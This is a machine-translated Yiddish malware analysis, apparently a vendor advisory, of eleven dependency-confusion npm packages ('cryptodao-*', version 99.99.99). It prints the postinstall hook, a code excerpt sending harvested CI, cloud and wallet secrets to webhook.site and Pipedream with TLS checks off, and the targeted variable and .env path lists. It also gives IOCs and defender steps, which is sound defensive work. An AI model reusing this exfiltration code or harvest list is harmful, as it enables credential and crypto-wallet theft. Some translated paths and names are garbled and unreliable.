קריפּטאָדאַאָ צעמישונג: npm פּאַקאַדזשאַז כאַרוואַסטינג CI/CD און קריפּטאָ סודות

קריפּטאָדאַאָ צעמישונג: עלף npm פּאַקאַדזשאַז, איין פּיילאָוד, האַרוועסטינג CI/CD און קריפּטאָ-בייטל סודות

טל; דר

דעם 2026-06-17, איז אן איינציקער npm אקאונט ארויסגעגעבן געווארן. עלף פּעקלעך וואָס טיילן איין צוועק און איין פּיילאָודצען פון זיי טראָגן די cryptodao- פּרעפיקס (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); די עלפטע איז די סקאָפּעד @public-for-cdao/coreיעדער איינער איז ארויסגעגעבן געוואָרן אין דער זעלבער ווערסיע 99.99.99 און שיקט אַ בייט-אידענטיש recon.js וואָס לויפט אויף postinstall.

די נעמען זאָגן אַלץ. זיי לייענען זיך ווי די אינעווייניקסטע בוי-שטיינער פון אַ קריפּטאָ/DAO פּראָיעקט'ס פּריוואַטער טולקיין. פאַרעפֿנטלעכט צום עפֿנטלעכן npm רעגיסטרי מיט אַ קינסטלעך הויכער ווערסיע, זיצן זיי און וואַרטן אויף אַ בילד. pipeline וואָס איז קאָנפיגורירט צו סאָלווען די נעמען און וואָס דערגרייכט די עפנטלעכע npm איידער — אָדער אַנשטאָט — די פּריוואַטע רעגיסטרי. דאָס איז אפהענגיקייט צעמישעניש, און די פּיילאָוד איז איינגעשטעלט פּונקט פֿאַר וואו עס ערוואַרטעט צו לאַנדן: CI/CD ראַנערז.

ווען postinstall פייערן, recon.js זאמלט גאַסטגעבער פרטים, קוקט גראָב אויס פערציק וואָלקן, CI, און קריפּטאָ-וואָלאַט סביבה וועריאַבאַלן, לייענט יעדן .env טעקעס וואָס עס קען געפֿינען און שיקט ווייטער די סוד-טראָגנדיקע שורות וואָרט ביי וואָרט, און דערנאָך שיקט עס דעם פּעקל צו צוויי קאָלעקטאָרן — webhook.site און אַ פּייפּדרים ענדפּוינט — מיט TLS סערטיפיקאַט וועריפיקאַציע דיסייבאַלד. אַ קאָפּיע איז אויך געשריבן אונטער /tmp.

שטרענגקייַט: הויךאַפעקטירטע עקאָסיסטעם: npmאלע עלף פּעקלעך זענען געווען לעבעדיק אין דער צייט פון שרייבן.

אַטאַק אַנאַטאָמיע

דער מעכאניזם האט פיר באַוועגלעכע טיילן, און קיינער פון זיי איז נישט סאַטאַל אַמאָל איר וויסן צו קוק איין שיכט ווייטער פון דעם פּעקעדזש נאָמען.

1. ווערסיע אינפלאַציע ווי אַ רעזאָלוווער לאָק. יעדער פּעקל דערקלערט ווערסיע 99.99.99דעפּענדענסי צעמישעניש אַרבעט ווען אַ פּאַקעט פאַרוואַלטער, בעט פֿאַר אַ אינערלעכער נאמען, טשעקט אויך דעם עפנטלעכן רעגיסטרי און קלייבט אויס די העכסטע ווערסיע געפינט. npm'ס פעליקייט אויסוואל פאר א קארעט אדער וויילדקארד קייט איז די העכסט-צופֿרידנשטעלנדיקע ווערסיע איבער יעדער קאָנפיגורירטער מקור; אויב ביידע אַ פּריוואַטע רעגיסטרי און פובליק npm ענטפער פארן זעלבן נאמען, די גרעסערע ווערסיע נומער געווינט. A 99.99.99 איבערטרעפט אין עיקר יעדע עכטע אינערליכע ווערסיע וואס א פראיעקט וועט האבן דערגרייכט, אַזוי אַ רעזאָלוטאָר וואָס איז נישט פּינד צו דער פּריוואַטער מקור פּרעפֿערירט דעם עפנטלעכע — און אין דעם פאַל, פייַנדלעכע — קאָפּיע. דער אָפּעראַטאָר דאַרף נישט וויסן די ציל'ס עכטע ווערסיע נומערן; אויסקלייבן אן אבסורדן מאקסימום גאראנטירט די גלייכרעכטיקייט שטענדיג ברעכט זייער וועג.

2. א פּאָסט-אינסטאַל טריגער. package.json דראָטן די פּיילאָוד צו די ינסטאַלירונג לעבן ציקל:

{   "scripts": { "postinstall": "node recon.js" } }

קיין אימפארט פון דעם פעקל איז נישט נויטיג. נאר עס אינסטאלירן — וואס איז א CI pipeline טוט אויטאָמאַטיש — לויפט רעקאָן.דזשעי.עס.

3. א ברייטע געהיימע אויספארשונג. רעקאָן.דזשעי.עס שטעלט צוזאַמען אַ רעזולטאַטן אַרעי אין סטאַגעס:

  • האָסט קאָנטעקסט: האָסטנאַמע, פּלאַטפאָרמע און מעלדונג, אַרכיטעקטור, באַניצער נאָמען, אַרבעט directory.
  • סביבה וועריאַבלען: עס איבערחזרט אַ פיקסירטע רשימה פון אַרום פערציק נעמען און רעקאָרדס יעדע וואָס איז באַשטימט. די ליסטע איז אויסזאָגנדיג — עס פּאָרט אַלגעמיינע CI טאָקענס (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, גיטלאַב_אַקסעס_טאָקען) און וואָלקן קרעדענצן (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) מיט רעגיסטרי און קאנטעינער סודות (NPM_TOKEN, דאָקער_פּאַראָל, האַרבער_פּאַראָל) און אַ באַזונדער קריפּטאָ-געשמאַקער קלאַסטער:  פּריוואַט_שליסל, זיכרון, זוימען_פראַזע, אינפֿוראַ_API_KEY, אַלכעמיע_API_KEY, ETH_RPC, בי.עס.סי._ר.פי.סי.רעקאָרדירטע ווערטן ווערן אָפּגעקירצט צו די ערשטע 50 אותיות.
  • .ענוו טעקעס: עס זוכט אויס א ליסטע פון ​​וועגן — .ענוו, ../.ענוו, /אַפּ/.ענוו, /אַפּ/בעקענד/.ענוו, /אַפּ/באָט/.ענוו, /היים/גיטלאב-לויפער/.ענוו, /וואָרצל/.ענוו, און די פּראָדוקציע/.אנטוויקלונג וואַריאַנטן — און פֿאַר יעדער טעקע וואָס עקזיסטירט, עס פילטערט דעם אינהאַלט צו שורות וואָס פּאַסן שליסל|סוד|טאָקען|פּאַס|פּריוואַט|מנעמאָניש און שטופט די שורות **אין גאַנצן, נישט אָפּגעקירצט** אין די רעזולטאַטן.
  • בויען-האָסט קאָנטעקסט: עס ליסט די ערשטע 20 איינטראַגעס פון /בויט/, /היים/גיטלאב-לויפער/בויט/, /var/lib/gitlab-runner/, און / tmp /.

די וועג ליסטע און וועריאַבאַל ליסטע זענען געוויכטיקט צו גיטלאַב ראַנערס, וואָס ווייזט די פּיילאָוד גלייך ביי זעלבסט-כאָוסטיד CI אינפראַסטרוקטור אלא ווי אַ דעוועלאָפּער לאַפּטאָפּ. גרופּירן די שניט ליסטע לויט קאַטעגאָריע מאַכט די געוואָלטע שניט פּשוט:

קאַטעגאָריע וועריאַבלען / וועגן דערגרייכט
CI/CD אידענטיטעט און אויסשטעלן CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
וואָלקן AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
רעגיסטרי און קאנטעינער NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
דאַטן סטאָרז DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
קריפּטאָ / בלאָקטשיין PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
מעססאַגינג SLACK_TOKEN, DISCORD_TOKEN
אויף-דיסק .env משפּחה + /home/gitlab-runner/.env, /root/.env, /app/**/.env; דירעקטאָרי ליסטינגס פון /builds/, /var/lib/gitlab-runner/

דער קריפּטאָ קלאַסטער איז דער טייל וואָס אונטערשיידט דאָס פֿון אַ גענעראַלן CI-סוד סוויפּ: בייטל זוימען פראַזעס און סיינינג שליסלען דערשייַנען בלויז אין דער סביבה פון אַ בלאָקטשיין פּראָיעקט, און זיי מאַפּן גלייך אויף די קריפּטאָדאַאָ-/צייכן/קאַנטראַקץ נעמען פון די טרעגער.

4. דואַלע עקספילטראַציע מיט וועריפיקאַציע דיסייבאַלד. די געזאמלטע אַרעי איז סעריאַליזירט און געשיקט צו צוויי דעסטאַניישאַנז:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

אָפּוואַרפןנישט ערלויבט: פאַלש שלאָגט אויס TLS סערטיפיקאַט טשעקס פֿאַר די אַרויסגייענדיקע רופן. די זעלבע דאטן ווערט געדרוקט צו stdout (אזוי עס לאנדעט אויך אין CI דזשאב לאגס) און געשריבן צו /טמפ/.נפּם_רעקאָן_ .דזשאָןטעותים ווערן שטילערהייט געשלונגען, אַזוי אַ דורכגעפאלענע שיקן לאָזט נישט קיין שפּור אין דער אינסטאַלאַציע רעזולטאַט ווייטער פון אַן איינציקער [רעקאָנסטרוקציע] אינסטאַלירט אויף שורה.

א פירנדיקער קאמענטאר אין דער טעקע באשרייבט עס אלס א "אפהענגיקייט צעמישעניש אויספארשונג נוץ-לאסט." די פארקירצונג פון סביבה ווערטן צו 50 אותיות האט די פאָרעם פון אַ באַווייַז פון קאָנצעפּט. וואָס באַוועגט עס פאַרביי אַ בייַזייַן-בלויז בעאַקאָן איז די .ענוו האַנדלינג: סוד-טראָגנדיקע שורות ווערן פאָרווערדעד אין פול, און די דעסטאַניישאַנז זענען צוויי ארבעטנדיקע, אטאקירער-קאנטראלירטע קאלעקטארן אנשטאט א זינק וואס ציילט זיך נאר היץ.

טיימליין

דער פּובליקאַציע מוסטער איז די אונטערשריפט פון אַן איינציקן סקריפּטעד פּוש, נישט עלף אומאָפּהענגיקע אַפּלאָודז.

צייט (UTC, 2026-06-17) געשעעניש
03:24:58 cryptodao-bot@99.99.99 ארויס
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — אויסגעפארשטע וואַריאַנט, ~24 מינוט שפּעטער

צען פּעקלעך זענען אַרויסגעגאַנגען אין אַ 29-סעקונדע פֿענצטער, בערך איינס יעדע דריי סעקונדעס. די סקאָפּעד @פובליק-פאר-סי-דיא/קארן נאכגעפאלגט בערך 24 מינוט נאך — א סעקונדע נאַמינג קאָנווענשאַן פֿאַר דער זעלביקער ציל, אין פאַל די קאַנסומינג פּראָיעקט רעפערענצירט די אינערלעכע טולקיין אונטער א פארנעם אנשטאט ווי נארישע נעמען.

אינדיקאַטאָרן פון קאָמפּראָמיס

טיפּ ינדיקאַטאָר
זאַמלער hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
זאַמלער hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
אינסטאַלירן קרוק postinstall: node recon.js
אַראָפּגעלאָזטע טעקע /tmp/.npm_recon_<timestamp>.json
לאָג מאַרקער [recon] <pkg>@<ver> installed on <hostname> (סטדאויט אין סי-איי לאגס)
בעהאַוויאָראַל rejectUnauthorized: false אויף ארויסגייענדיקע HTTPS בעת אינסטאַלאַציע
Payload recon.js, אידענטיש איבער אלע עלף פעקלעך (איין געטיילטע בילד)
ווערסיע 99.99.99 אויף יעדן פּעקל
פּאַקקאַגעס cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (אַלע 99.99.99)
פאַרלעגער aduljune / aduljune@proton.me (אימעיל נישט וועריפיצירט, קיין פארבינדענע מקור רעפאזיטארי)

 צושרייבונג און באאבאכטעטע אויפפירונג

אַלץ וועגן דעם קלאַסטער ווײַזט אויף איין האַנט. אַלע עלף פּאַקעטן זענען פאַרעפֿנטלעכט געוואָרן. דורך דעם npm אקאונט אַדולדזשונע (aduljune@proton.me, אַן נישט-באַשטעטיקטע אַדרעס אָן פֿאַרבונדענע מקור רעפּאָזיטאָרי), אין אַ 25-מינוטיקן שפּאַן, אין דער זעלבער צייט 99.99.99 ווערסיע, שיפּינג אַ רעקאָן.דזשעי.עס וועמענס אינהאַלט איז בייט-פֿאַר-בייט אידענטיש איבער יעדן פּעקל (MD5 פּאַסט צו אַלע עלף עקסטראַקטירטע קאָפּיעס). דאָס איז איין פּיילאָוד געשטעמפּלט אויף אַ רשימה פון נעמען, נישט אומאָפּהענגיקע קאָד ווידער-ניצן.

די נעמען-ליסטע דעפינירט די געוואונטשע ציל. קריפּטאָדאַאָ-* און cdao באַשרייבן די פּריוואַטע מאָדול אויסלייג פון אַ קריפּטאָ/DAO פּראָיעקט, און די פּיילאָוד ס האַרוועסט רשימה שפּיגלען וואָס טרעפן: צוזאַמען מיט די אַלגעמיינע CI און וואָלקן סודות, עס ספּעציפֿיש דערגרייכט צו פּריוואַט_שליסל, זיכרון, זוימען_פראַזע, און עטהערעום/BSC RPC און פּראַוויידער שליסלען. די .ענוו זוכ-וועגן און וועגווייַזער ליסטינגס זענען גיטלאַב-ראַנער ספּעציפֿיש. דער באַאָבאַכטבאַרער עפֿעקט איז אַז יעדער pipeline גענאַרט צו אינסטאַלירן די נעמען וואָלטן פאָרווערד זייַנע CI טאָקענס, וואָלקן שליסלען, און אויף-דיסק .ענוו סודות — און, פֿאַר אַ בלאָקטשיין פּראָיעקט, זײַן בייַטל מאַטעריאַל — צו צוויי דריט-פּאַרטיי קאָלעקטאָרן.

מיר מאַכן קיין טענה נישט וועגן ווער עס אָפּערירט דעם חשבון אָדער וואָס זיי פּלאַנירן צו טאָן מיט דעם דאַטן. די פאַקטן וואָס שטייען אויף זיך אַליין: די נעמען צילן אויף אַ ספּעציפֿישן סאָרט פון אינערלעכע טולקיין, די פּיילאָוד לייענט און טראַנסמיטירט פאַקטיש סוד ווערטן, און די אינפראַסטרוקטור איז געווען לעבעדיק.

השפּעה, טרענדס, און פאַרטיידיקער גיידאַנס

דעפּענדענסי צעמישונג בלייבט עפעקטיוו ווייל עס נוצט אויס רעזאָלווער נאַטור, נישט אַ שוואַכקייט אין יעדן פּעקל. דער טרעגער דאָ איז טריוויאַל — עלף כּמעט ליידיק פּאַקעטן — אָבער דער אויפרייס ראַדיוס איז וואָס אימער pipeline פאַלשערהייט פּרעפֿערירט עפֿנטלעכע npm פֿאַר אַן אינערלעכן נאָמען. CI לויפֿער זענען דער ערגסטער אָרט פֿאַר דעם צו פּאַסירן: זיי האַלטן פּונקט די טאָקענס און .ענוו טעקעס וואָס דאָס פּיילאָוד לייענט, און זיי אינסטאַלירן דעפּענדענסיעס נישט-אינטעראַקטיוו, אַזוי אַ נאָך-אינסטאַלירן לויפט אָן קיינעם צוקוקן.

די קלאַסטער פּאַסט אויך צו אַ מוסטער וואָס מיר זעען כסדר: אינסטאַלאַציע-צייט פּיילאָודז וואָס פאָרשטעלן אלס "פאָרשונג" אדער "אויפקלערונג" בשעת מען טוט עכטע קרעדענשאַל זאַמלונג. די לייבל אין דער טעקע טוישט נישט וואָס דער קאָד טוט אויף אַ לויפֿער. צוויי דיזיין ברירות האַלטן די טעטיקייט שטיל: יעדע נעץ און פייל סיסטעם אפעראציע איז איינגעוויקלט אין א אויסנאַם האַנדלער וואָס אַוועקוואַרפט ערראָרס, אַזוי אַ בלאָקירט שיקן אָדער אַ פעלנדיק טעקע פּראָדוצירט נישט קיין דיאַגנאָסטישע רעזולטאַטן, און די איינציקע זאַך וואָס ווערט געדרוקט איז אַן איינציקע אומשולדיקע [רעקאָנסטרוקציע] … אינסטאַלירט שורה וואָס מישט זיך אַרײַן אין נאָרמאַלן אינסטאַליר-געשפּרעך. די נוצֿונג פֿון וועבהוק.סייט און פּייפּדרים איז אויך באַוואוסטזיניקע באַקוועמלעכקייט — ביידע זענען פריי, גלייך צוגעשטעלטע פארלאנג-כאפּונג סערוויסעס, אזוי אז דער אפעראטאר דארף נישט קיין סערווערס פון זייער אייגענע און די דעסטאַניישאַנז קוקן אויס ווי געוויינטלעכע SaaS האָסטנעמען אין עגרעס לאָגס.

די עקאנאמיק איז וואס מאכט דאס ווערט א פארטיידיקער'ס אויפמערקזאמקייט אפילו כאטש די טרעגער קאָד איז טריוויאַל. רעגיסטרירן עלף נעמען קאָסט גאָרנישט, די פּיילאָוד איז איינס טעקע קאפירט עלף מאל, און דער פעקל מענעדזשער טוט אלע אויספירונגען. איין איינציקע מיסקאָנפיגורעד pipeline ערגעץ וואס פארברויכט איינע פון ​​די נעמען צאלט פארן גאנצן אָפּעראַציע.

קאנקרעטע טריט פאר פארטיידיקער:

  • פּינט אינערלעכע סקאָפּעס צו אייער פּריוואַטן רעגיסטרי. קאָנפיגורירן npm אַזוי אינערלעכע נעמען
     און סקאָפּעס רעזאָלווירן בלויז קעגן דיין רעגיסטרי (סקאָופּעד .npmrc רעגיסטרי מאַפּינגז,
    אדער א פראקסי וואס פאלט קיינמאל נישט דורך צו פובליק npm פאר אייגענע נעמענספייסעס). רעזערווירט אייערע פובליק סקאופ נעמען אזוי אז קיינער אנדערש זאל זיי נישט קענען רעגיסטרירן.
  • Commit שלאָס־פֿײַלס און אינסטאַלירן מיט –ignore-scripts אין סי.אי. וואו מעגלעך, אדער טשעק אויס די קליינע גרופע פון ​​דעפּענדענסיעס וואָס דאַרפֿן טאַקע אינסטאַלירן סקריפּטן.  recon.js קען נישט לויפן אויב נאָך-אינסטאַלירן ווערט נישט אויסגעפירט.
  • באַהאַנדלען אַ 99.99.99 (אָדער אַנדערע אַבסורד הויכע) ווערסיע פֿון אַן אינערלעך-אויסזענדיקן נאָמען ווי אַ רויטע פאָן אין דעפּענדענסי איבערבליק און רעגיסטרי מאָניטאָרינג.
  • וואָרענונג אויף אינסטאַלאַציע-צייט אַרויסגאַנג. A נאָך-אינסטאַלירן וואָס עפֿנט אַן אַרויסגייענדיקן HTTPS פֿאַרבינדונג — ספּעציעל מיט סערטיפֿיקאַט וועריפֿיקאַציע דיסייבאַלד — צו webhook.site, Pipedream, אדער ענלעכע פארלאנג-כאפּונג סערוויסעס איז ווערט צו בלאקירן ביים נעץ ברעג און מארקירן אין בילד לאגס.
  • זוכן די אַרטיפאַקץ. קאָנטראָליר די לויפֿערס פֿאַר /tmp/.npm_recon_*.json און פֿאַר די [רעקאָנ] … אינסטאַלירט אויף … מאַרקער אין די לעצטע CI לאָגס. אויב געפֿונען, ראָטירן יעדן קרעדענשאַל אויסגעשטעלט צו דעם pipeline — CI טאָקענס, וואָלקן שליסלען, רעגיסטרי טאָקענס, און יעדע וואָלאַט זאמען אָדער פּריוואַטע שליסלען פאָרשטעלן אין דער סביבה אָדער .env טעקעס.

רעפֿערענצן

קיין עקסטערנע באריכטן וועגן דעם קלאַסטער האָבן נישט עקזיסטירט אין דער צייט פון שרייבן; די אַנאַליז אויבן איז באזירט גלייך אויף די פובליקירטע פּאַקעט אינהאַלט

סקאַ-טולס-סאָפֿטווער-קאָמפּאָזיציע-אַנאַליז-טולס
פּריאָריטיזירן, פאַרריכטן און זיכערן אייערע ווייכווארג ריזיקעס
באַקומען דיין פריי חשבון.
קיין קרעדיט קאַרטל פארלאנגט.

זיכערן אייער ווייכווארג אנטוויקלונג און ליפערונג

מיט Xygeni פּראָדוקט סוויט